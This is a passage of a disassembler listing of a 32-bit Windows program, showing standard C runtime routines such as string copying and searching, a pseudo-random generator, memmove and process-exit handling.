call ds:dword_42B02C ; DeleteFileA
test eax, eax
jnz short loc_41EC8E
call ds:dword_42B01C ; RtlGetLastWin32Error
jmp short loc_41EC90
; ---------------------------------------------------------------------------
loc_41EC8E: ; CODE XREF: sub_41EC78+Cj
xor eax, eax
loc_41EC90: ; CODE XREF: sub_41EC78+14j
test eax, eax
jz short loc_41EC9F
push eax
call sub_422C0F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41EC9F: ; CODE XREF: sub_41EC78+1Aj
xor eax, eax
retn
sub_41EC78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ECA2 proc near ; CODE XREF: sub_40274D+55F4p
; sub_40E3B2+181p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_422C6E
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4222C8
push [ebp+arg_0]
mov edi, eax
push esi
call sub_422CF6
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41ECA2 endp
; =============== S U B R O U T I N E =======================================
sub_41ECD4 proc near ; CODE XREF: sub_40274D+2F87p
; sub_40274D+3268p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_4434F0, eax
retn
sub_41ECD4 endp
; =============== S U B R O U T I N E =======================================
sub_41ECDE proc near ; CODE XREF: sub_40274D:loc_4033C5p
; sub_40274D+326Dp ...
mov eax, ds:dword_4434F0
imul eax, 343FDh
add eax, 269EC3h
mov ds:dword_4434F0, eax
xor eax, eax
mov ax, word ptr ds:dword_4434F0+2
and eax, 7FFFh
retn
sub_41ECDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED01 proc near ; CODE XREF: sub_40274D+1FC4p
; sub_40A263+F3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E1C0
cmp eax, 1
pop ecx
jb short loc_41ED3D
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41ED3D
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41ED39
push 2
push ebx
push esi
call sub_42311A
add esp, 0Ch
mov byte ptr [esi+2], 0
loc_41ED39: ; CODE XREF: sub_41ED01+26j
inc ebx
inc ebx
jmp short loc_41ED47
; ---------------------------------------------------------------------------
loc_41ED3D: ; CODE XREF: sub_41ED01+19j
; sub_41ED01+1Fj
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41ED47
mov byte ptr [eax], 0
loc_41ED47: ; CODE XREF: sub_41ED01+3Aj
; sub_41ED01+41j
and [ebp+arg_0], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov [ebp+var_8], eax
mov esi, 0FFh
jz short loc_41EDBF
loc_41ED5A: ; CODE XREF: sub_41ED01+88j
mov cl, [eax]
movzx edx, cl
test ds:byte_4E2CC1[edx], 4
jz short loc_41ED6B
inc eax
jmp short loc_41ED85
; ---------------------------------------------------------------------------
loc_41ED6B: ; CODE XREF: sub_41ED01+65j
cmp cl, 2Fh
jz short loc_41ED7F
cmp cl, 5Ch
jz short loc_41ED7F
cmp cl, 2Eh
jnz short loc_41ED85
mov [ebp+var_4], eax
jmp short loc_41ED85
; ---------------------------------------------------------------------------
loc_41ED7F: ; CODE XREF: sub_41ED01+6Dj
; sub_41ED01+72j
lea ecx, [eax+1]
mov [ebp+arg_0], ecx
loc_41ED85: ; CODE XREF: sub_41ED01+68j
; sub_41ED01+77j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41ED5A
mov edi, [ebp+arg_0]
test edi, edi
mov [ebp+var_8], eax
jz short loc_41EDBF
cmp [ebp+arg_8], 0
jz short loc_41EDBA
sub edi, ebx
cmp edi, esi
jb short loc_41EDA3
mov edi, esi
loc_41EDA3: ; CODE XREF: sub_41ED01+9Ej
push edi
push ebx
push [ebp+arg_8]
call sub_42311A
mov eax, [ebp+arg_8]
mov byte ptr [edi+eax], 0
mov eax, [ebp+var_8]
add esp, 0Ch
loc_41EDBA: ; CODE XREF: sub_41ED01+98j
mov ebx, [ebp+arg_0]
jmp short loc_41EDC9
; ---------------------------------------------------------------------------
loc_41EDBF: ; CODE XREF: sub_41ED01+57j
; sub_41ED01+92j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41EDC9
mov byte ptr [ecx], 0
loc_41EDC9: ; CODE XREF: sub_41ED01+BCj
; sub_41ED01+C3j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41EE1C
cmp edi, ebx
jb short loc_41EE1C
cmp [ebp+arg_C], 0
jz short loc_41EDF9
sub edi, ebx
cmp edi, esi
jb short loc_41EDE2
mov edi, esi
loc_41EDE2: ; CODE XREF: sub_41ED01+DDj
push edi
push ebx
push [ebp+arg_C]
call sub_42311A
mov eax, [ebp+arg_C]
mov byte ptr [edi+eax], 0
mov eax, [ebp+var_8]
add esp, 0Ch
loc_41EDF9: ; CODE XREF: sub_41ED01+D7j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41EE44
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41EE09
mov esi, eax
loc_41EE09: ; CODE XREF: sub_41ED01+104j
push esi
push [ebp+var_4]
push edi
call sub_42311A
add esp, 0Ch
mov byte ptr [esi+edi], 0
jmp short loc_41EE44
; ---------------------------------------------------------------------------
loc_41EE1C: ; CODE XREF: sub_41ED01+CDj
; sub_41ED01+D1j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41EE3A
sub eax, ebx
cmp eax, esi
jnb short loc_41EE2B
mov esi, eax
loc_41EE2B: ; CODE XREF: sub_41ED01+126j
push esi
push ebx
push edi
call sub_42311A
add esp, 0Ch
mov byte ptr [esi+edi], 0
loc_41EE3A: ; CODE XREF: sub_41ED01+120j
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41EE44
mov byte ptr [eax], 0
loc_41EE44: ; CODE XREF: sub_41ED01+FDj
; sub_41ED01+119j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41ED01 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
dd 0CCCCCCCCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE50 proc near ; CODE XREF: sub_40274D+1C92p
; sub_40274D+1CB1p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
add ecx, 1
neg ecx
sub edi, 1
mov al, [ebp+arg_4]
std
repne scasb
add edi, 1
cmp [edi], al
jz short loc_41EE77
xor eax, eax
jmp short loc_41EE79
; ---------------------------------------------------------------------------
loc_41EE77: ; CODE XREF: sub_41EE50+21j
mov eax, edi
loc_41EE79: ; CODE XREF: sub_41EE50+25j
cld
pop edi
leave
retn
sub_41EE50 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE80 proc near ; CODE XREF: sub_40274D+7A0p
; seg000:004246D0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41EEB2
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41EEB0
jz short loc_41EEB2
sub ecx, 2
loc_41EEB0: ; CODE XREF: sub_41EE80+29j
not ecx
loc_41EEB2: ; CODE XREF: sub_41EE80+9j
; sub_41EE80+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41EE80 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
dd 0CCCCCCCCh
; =============== S U B R O U T I N E =======================================
sub_41EEC0 proc near ; CODE XREF: sub_40274D+3D4p
; sub_40274D+2DEDp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41EF35
sub_41EEC0 endp
; ---------------------------------------------------------------------------
db 8Dh
dd 24A4h, 0FF8B0000h
; =============== S U B R O U T I N E =======================================
sub_41EED0 proc near ; CODE XREF: sub_40274D+3DDp
; sub_40274D+7210p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41EEF0
loc_41EEDD: ; CODE XREF: sub_41EED0+1Cj
mov al, [ecx]
add ecx, 1
test al, al
jz short loc_41EF23
test ecx, 3
jnz short loc_41EEDD
mov edi, edi
loc_41EEF0: ; CODE XREF: sub_41EED0+Bj
; sub_41EED0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41EEF0
mov eax, [ecx-4]
test al, al
jz short loc_41EF32
test ah, ah
jz short loc_41EF2D
test eax, 0FF0000h
jz short loc_41EF28
test eax, 0FF000000h
jz short loc_41EF23
jmp short loc_41EEF0
; ---------------------------------------------------------------------------
loc_41EF23: ; CODE XREF: sub_41EED0+14j
; sub_41EED0+4Fj
lea edi, [ecx-1]
jmp short loc_41EF35
; ---------------------------------------------------------------------------
loc_41EF28: ; CODE XREF: sub_41EED0+48j
lea edi, [ecx-2]
jmp short loc_41EF35
; ---------------------------------------------------------------------------
loc_41EF2D: ; CODE XREF: sub_41EED0+41j
lea edi, [ecx-3]
jmp short loc_41EF35
; ---------------------------------------------------------------------------
loc_41EF32: ; CODE XREF: sub_41EED0+3Dj
lea edi, [ecx-4]
loc_41EF35: ; CODE XREF: sub_41EEC0+5j
; sub_41EED0+56j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41EF5E
loc_41EF41: ; CODE XREF: sub_41EED0+85j
mov dl, [ecx]
add ecx, 1
test dl, dl
jz short loc_41EFB0
mov [edi], dl
add edi, 1
test ecx, 3
jnz short loc_41EF41
jmp short loc_41EF5E
; ---------------------------------------------------------------------------
loc_41EF59: ; CODE XREF: sub_41EED0+A6j
; sub_41EED0+C0j
mov [edi], edx
add edi, 4
loc_41EF5E: ; CODE XREF: sub_41EED0+6Fj
; sub_41EED0+87j
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41EF59
test dl, dl
jz short loc_41EFB0
test dh, dh
jz short loc_41EFA7
test edx, 0FF0000h
jz short loc_41EF9A
test edx, 0FF000000h
jz short loc_41EF92
jmp short loc_41EF59
; ---------------------------------------------------------------------------
loc_41EF92: ; CODE XREF: sub_41EED0+BEj
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41EF9A: ; CODE XREF: sub_41EED0+B6j
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41EFA7: ; CODE XREF: sub_41EED0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41EFB0: ; CODE XREF: sub_41EED0+78j
; sub_41EED0+AAj
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41EED0 endp
; ---------------------------------------------------------------------------
dd 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41EFD0
loc_41EFC0: ; CODE XREF: sub_41EFD0+1Fj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41EFD0
; ---------------------------------------------------------------------------
db 8Dh, 0A4h, 24h
dd 0
dd 24648Dh
; =============== S U B R O U T I N E =======================================
sub_41EFD0 proc near ; CODE XREF: sub_40274D+3B9p
; sub_40274D+459p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041EFC0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41EFD6: ; CODE XREF: sub_41F090+74j
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41EFFD
loc_41EFE8: ; CODE XREF: sub_41EFD0+2Bj
mov cl, [edx]
add edx, 1
cmp cl, bl
jz short loc_41EFC0
test cl, cl
jz short loc_41F046
test edx, 3
jnz short loc_41EFE8
loc_41EFFD: ; CODE XREF: sub_41EFD0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41F008: ; CODE XREF: sub_41EFD0+63j
; sub_41EFD0+72j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41F04A
and eax, 81010100h
jz short loc_41F008
and eax, 1010100h
jnz short loc_41F044
and esi, 80000000h
jnz short loc_41F008
loc_41F044: ; CODE XREF: sub_41EFD0+6Aj
; sub_41EFD0+83j ...
pop esi
pop edi
loc_41F046: ; CODE XREF: sub_41EFD0+23j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41F04A: ; CODE XREF: sub_41EFD0+5Cj
mov eax, [edx-4]
cmp al, bl
jz short loc_41F087
test al, al
jz short loc_41F044
cmp ah, bl
jz short loc_41F080
test ah, ah
jz short loc_41F044
shr eax, 10h
cmp al, bl
jz short loc_41F079
test al, al
jz short loc_41F044
cmp ah, bl
jz short loc_41F072
test ah, ah
jz short loc_41F044
jmp short loc_41F008
; ---------------------------------------------------------------------------
loc_41F072: ; CODE XREF: sub_41EFD0+9Aj
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F079: ; CODE XREF: sub_41EFD0+92j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F080: ; CODE XREF: sub_41EFD0+87j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F087: ; CODE XREF: sub_41EFD0+7Fj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41EFD0 endp
; ---------------------------------------------------------------------------
dw 0CCCCh
; =============== S U B R O U T I N E =======================================
sub_41F090 proc near ; CODE XREF: sub_40274D+8Dp
; sub_40274D+21Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41F110
mov dh, [ecx+1]
test dh, dh
jz short loc_41F0FD
loc_41F0A8: ; CODE XREF: sub_41F090+58j
; sub_41F090+6Bj
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
add esi, 1
cmp al, dl
jz short loc_41F0CE
test al, al
jz short loc_41F0C8
loc_41F0BB: ; CODE XREF: sub_41F090+36j
mov al, [esi]
add esi, 1
loc_41F0C0: ; CODE XREF: sub_41F090+45j
cmp al, dl
jz short loc_41F0CE
test al, al
jnz short loc_41F0BB
loc_41F0C8: ; CODE XREF: sub_41F090+29j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41F0CE: ; CODE XREF: sub_41F090+25j
; sub_41F090+32j
mov al, [esi]
add esi, 1
cmp al, dh
jnz short loc_41F0C0
lea edi, [esi-1]
loc_41F0DA: ; CODE XREF: sub_41F090+69j
mov ah, [ecx+2]
test ah, ah
jz short loc_41F109
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41F0A8
mov al, [ecx+3]
test al, al
jz short loc_41F109
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41F0DA
jmp short loc_41F0A8
; ---------------------------------------------------------------------------
loc_41F0FD: ; CODE XREF: sub_41F090+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41EFD6
; ---------------------------------------------------------------------------
loc_41F109: ; CODE XREF: sub_41F090+4Fj
; sub_41F090+5Fj
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F110: ; CODE XREF: sub_41F090+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41F090 endp
; =============== S U B R O U T I N E =======================================
sub_41F116 proc near ; CODE XREF: sub_41F1B0+BAp
; start-C3207p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push offset aMscoree_dll ; "mscoree.dll"
call ds:dword_42B024 ; GetModuleHandleA
test eax, eax
jz short loc_41F13B
push offset aCorexitprocess ; "CorExitProcess"
push eax
call ds:dword_42B020 ; GetProcAddress
test eax, eax
jz short loc_41F13B
push [esp+0Ch+var_8]
call eax ; dword_43C03C
loc_41F13B: ; CODE XREF: sub_41F116+Dj
; sub_41F116+1Dj
push [esp+10h+var_C]
call ds:dword_42B000 ; ExitProcess
int 3 ; Trap to Debugger
sub_41F116 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41F146 proc near ; CODE XREF: start-C31AEp
arg_0 = dword ptr 4
mov eax, ds:off_443788
test eax, eax
jz short loc_41F156
push [esp+arg_0]
call eax ; sub_41FE1A
pop ecx
loc_41F156: ; CODE XREF: sub_41F146+7j
push esi
push edi
mov ecx, offset dword_43C014
mov edi, offset dword_43C02C
xor eax, eax
cmp ecx, edi
mov esi, ecx
jnb short loc_41F181
loc_41F16A: ; CODE XREF: sub_41F146+35j
test eax, eax
jnz short loc_41F1AD
mov ecx, [esi]
test ecx, ecx
jz short loc_41F176
call ecx
loc_41F176: ; CODE XREF: sub_41F146+2Cj
add esi, 4
cmp esi, edi
jb short loc_41F16A
test eax, eax
jnz short loc_41F1AD
loc_41F181: ; CODE XREF: sub_41F146+22j
push offset byte_42329B
call sub_42321D
mov esi, offset dword_43C000
mov eax, esi
mov edi, offset dword_43C010
cmp eax, edi
pop ecx
jnb short loc_41F1AB
loc_41F19C: ; CODE XREF: sub_41F146+63j
mov eax, [esi]
test eax, eax
jz short loc_41F1A4
call eax
loc_41F1A4: ; CODE XREF: sub_41F146+5Aj
add esi, 4
cmp esi, edi
jb short loc_41F19C
loc_41F1AB: ; CODE XREF: sub_41F146+54j
xor eax, eax
loc_41F1AD: ; CODE XREF: sub_41F146+26j
; sub_41F146+39j
pop edi
pop esi
retn
sub_41F146 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F1B0 proc near ; CODE XREF: sub_41F271+8p
; sub_41F282+8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp ds:dword_4E2940, esi
push edi
jnz short loc_41F1D0
push [ebp+arg_0]
call ds:dword_42B09C ; GetCurrentProcess
push eax
call ds:dword_42B094 ; TerminateProcess
loc_41F1D0: ; CODE XREF: sub_41F1B0+Ej
cmp [ebp+arg_4], 0
mov al, byte ptr [ebp+arg_8]
mov ds:dword_4E293C, esi
mov ds:byte_4E2938, al
jnz short loc_41F236
mov ecx, ds:dword_4E3F2C
test ecx, ecx
jz short loc_41F217
mov eax, ds:dword_4E3F28
sub eax, 4
cmp eax, ecx
jmp short loc_41F210
; ---------------------------------------------------------------------------
loc_41F1FA: ; CODE XREF: sub_41F1B0+65j
mov eax, [eax]
test eax, eax
jz short loc_41F202
call eax
loc_41F202: ; CODE XREF: sub_41F1B0+4Ej
mov eax, ds:dword_4E3F28
sub eax, 4
cmp eax, ds:dword_4E3F2C
loc_41F210: ; CODE XREF: sub_41F1B0+48j
mov ds:dword_4E3F28, eax
jnb short loc_41F1FA
loc_41F217: ; CODE XREF: sub_41F1B0+3Cj
mov eax, offset dword_43C030
mov esi, offset dword_43C038
cmp eax, esi
mov edi, eax
jnb short loc_41F236
loc_41F227: ; CODE XREF: sub_41F1B0+84j
mov eax, [edi]
test eax, eax
jz short loc_41F22F
call eax
loc_41F22F: ; CODE XREF: sub_41F1B0+7Bj
add edi, 4
cmp edi, esi
jb short loc_41F227
loc_41F236: ; CODE XREF: sub_41F1B0+32j
; sub_41F1B0+75j
mov eax, offset dword_43C03C
mov esi, offset dword_43C044
cmp eax, esi
mov edi, eax
jnb short loc_41F255
loc_41F246: ; CODE XREF: sub_41F1B0+A3j
mov eax, [edi]
test eax, eax
jz short loc_41F24E
call eax
loc_41F24E: ; CODE XREF: sub_41F1B0+9Aj
add edi, 4
cmp edi, esi
jb short loc_41F246
loc_41F255: ; CODE XREF: sub_41F1B0+94j
cmp [ebp+arg_8], 0
pop edi
pop esi
jnz short loc_41F26F
push [ebp+arg_0]
mov ds:dword_4E2940, 1
call sub_41F116
loc_41F26F: ; CODE XREF: sub_41F1B0+ABj
pop ebp
retn
sub_41F1B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F271 proc near ; CODE XREF: start-C315Dp
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_41F1B0
add esp, 0Ch
retn
sub_41F271 endp
; =============== S U B R O U T I N E =======================================
sub_41F282 proc near ; CODE XREF: sub_420CE8+1Cp
; sub_426FC0+142p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41F1B0
add esp, 0Ch
retn
sub_41F282 endp
; =============== S U B R O U T I N E =======================================
sub_41F293 proc near ; CODE XREF: start:loc_420EA8p
push 1
push 0
push 0
call sub_41F1B0
add esp, 0Ch
retn
sub_41F293 endp
; ---------------------------------------------------------------------------
dw 16Ah
dd 6A016Ah, 0FFFF03E8h, 0CC483FFh, 0CCCCCCC3h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_41F2C0 proc near ; CODE XREF: sub_40AAE6+82p
; sub_40B3C5+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41F384
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41F2EC
loc_41F2DB: ; CODE XREF: sub_41F2C0+2Aj
mov al, [edi]
add edi, 1
test al, al
jz short loc_41F31D
test edi, 3
jnz short loc_41F2DB
loc_41F2EC: ; CODE XREF: sub_41F2C0+19j
; sub_41F2C0+42j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41F2EC
mov eax, [edi-4]
test al, al
jz short loc_41F32C
test ah, ah
jz short loc_41F327
test eax, 0FF0000h
jz short loc_41F322
test eax, 0FF000000h
jnz short loc_41F2EC
loc_41F31D: ; CODE XREF: sub_41F2C0+22j
sub edi, 1
jmp short loc_41F32F
; ---------------------------------------------------------------------------
loc_41F322: ; CODE XREF: sub_41F2C0+54j
sub edi, 2
jmp short loc_41F32F
; ---------------------------------------------------------------------------
loc_41F327: ; CODE XREF: sub_41F2C0+4Dj
sub edi, 3
jmp short loc_41F32F
; ---------------------------------------------------------------------------
loc_41F32C: ; CODE XREF: sub_41F2C0+49j
sub edi, 4
loc_41F32F: ; CODE XREF: sub_41F2C0+60j
; sub_41F2C0+65j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41F344
mov ebx, ecx
shr ecx, 2
jnz short loc_41F39E
jmp short loc_41F366
; ---------------------------------------------------------------------------
loc_41F344: ; CODE XREF: sub_41F2C0+79j
; sub_41F2C0+9Dj
mov dl, [esi]
add esi, 1
test dl, dl
jz short loc_41F38A
mov [edi], dl
add edi, 1
sub ecx, 1
jz short loc_41F380
test esi, 3
jnz short loc_41F344
mov ebx, ecx
shr ecx, 2
jnz short loc_41F39E
loc_41F366: ; CODE XREF: sub_41F2C0+82j
; sub_41F2C0+DCj
mov ecx, ebx
and ecx, 3
jz short loc_41F380
loc_41F36D: ; CODE XREF: sub_41F2C0+BEj
mov dl, [esi]
add esi, 1
mov [edi], dl
add edi, 1
test dl, dl
jz short loc_41F382
sub ecx, 1
jnz short loc_41F36D
loc_41F380: ; CODE XREF: sub_41F2C0+95j
; sub_41F2C0+ABj
mov [edi], cl
loc_41F382: ; CODE XREF: sub_41F2C0+B9j
pop ebx
pop esi
loc_41F384: ; CODE XREF: sub_41F2C0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F38A: ; CODE XREF: sub_41F2C0+8Bj
; sub_41F2C0+FAj
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F394: ; CODE XREF: sub_41F2C0+F6j
; sub_41F2C0+10Ej
mov [edi], edx
add edi, 4
sub ecx, 1
jz short loc_41F366
loc_41F39E: ; CODE XREF: sub_41F2C0+80j
; sub_41F2C0+A4j
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41F394
test dl, dl
jz short loc_41F38A
test dh, dh
jz short loc_41F3EA
test edx, 0FF0000h
jz short loc_41F3DA
test edx, 0FF000000h
jnz short loc_41F394
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F3DA: ; CODE XREF: sub_41F2C0+106j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F3EA: ; CODE XREF: sub_41F2C0+FEj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41F2C0 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F400 proc near ; CODE XREF: sub_40AC0D+62p
; sub_40AC0D+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41F420
cmp edi, eax
jb loc_41F59C
loc_41F420: ; CODE XREF: sub_41F400+16j
test edi, 3
jnz short loc_41F43C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41F45C
rep movsd
jmp off_41F54C[edx*4]
; ---------------------------------------------------------------------------
loc_41F43C: ; CODE XREF: sub_41F400+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41F454
and eax, 3
add ecx, eax
jmp dword ptr loc_41F45C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41F454: ; CODE XREF: sub_41F400+46j
jmp dword_41F55C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
loc_41F45C: ; CODE XREF: sub_41F400+31j
; DATA XREF: sub_41F400+4Dr
jmp off_41F4E0[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset dword_41F470
dd offset dword_41F49C
dd offset dword_41F4C0
dword_41F470 dd 68AD123h, 468A0788h, 1478801h, 0C102468Ah, 478802E9h
; DATA XREF: sub_41F400+64o
dd 3C68302h, 8303C783h, 0CC7208F9h, 24FFA5F3h, 41F54C95h
dd 498D00h
dword_41F49C dd 68AD123h, 468A0788h, 2E9C101h, 83014788h, 0C78302C6h
; DATA XREF: sub_41F400+68o
dd 8F98302h, 0A5F3A672h, 4C9524FFh, 900041F5h
dword_41F4C0 dd 68AD123h, 0C6830788h, 2E9C101h, 8301C783h, 887208F9h
; DATA XREF: sub_41F400+6Co
dd 24FFA5F3h, 41F54C95h, 498D00h
off_41F4E0 dd offset byte_41F543 ; DATA XREF: sub_41F400:loc_41F45Cr
dd offset dword_41F530
dd offset dword_41F528
dd offset dword_41F520
dd offset dword_41F518
dd offset dword_41F510
dd offset dword_41F508
dd offset dword_41F500
dword_41F500 dd 0E48E448Bh, 0E48F4489h ; DATA XREF: sub_41F400+FCo
dword_41F508 dd 0E88E448Bh, 0E88F4489h ; DATA XREF: sub_41F400+F8o
dword_41F510 dd 0EC8E448Bh, 0EC8F4489h ; DATA XREF: sub_41F400+F4o
dword_41F518 dd 0F08E448Bh, 0F08F4489h ; DATA XREF: sub_41F400+F0o
dword_41F520 dd 0F48E448Bh, 0F48F4489h ; DATA XREF: sub_41F400+ECo
dword_41F528 dd 0F88E448Bh, 0F88F4489h ; DATA XREF: sub_41F400+E8o
dword_41F530 dd 0FC8E448Bh, 0FC8F4489h, 8D048Dh, 3000000h ; DATA XREF: sub_41F400+E4o
db 0F0h, 3, 0F8h
byte_41F543 db 0FFh ; DATA XREF: sub_41F400:off_41F4E0o
dd 0F54C9524h, 0FF8B0041h
off_41F54C dd offset dword_41F55C ; DATA XREF: sub_41F400+35r
dd offset dword_41F564
dd offset dword_41F570
dd offset dword_41F584
dword_41F55C dd 5E08458Bh ; DATA XREF: sub_41F400:loc_41F454r
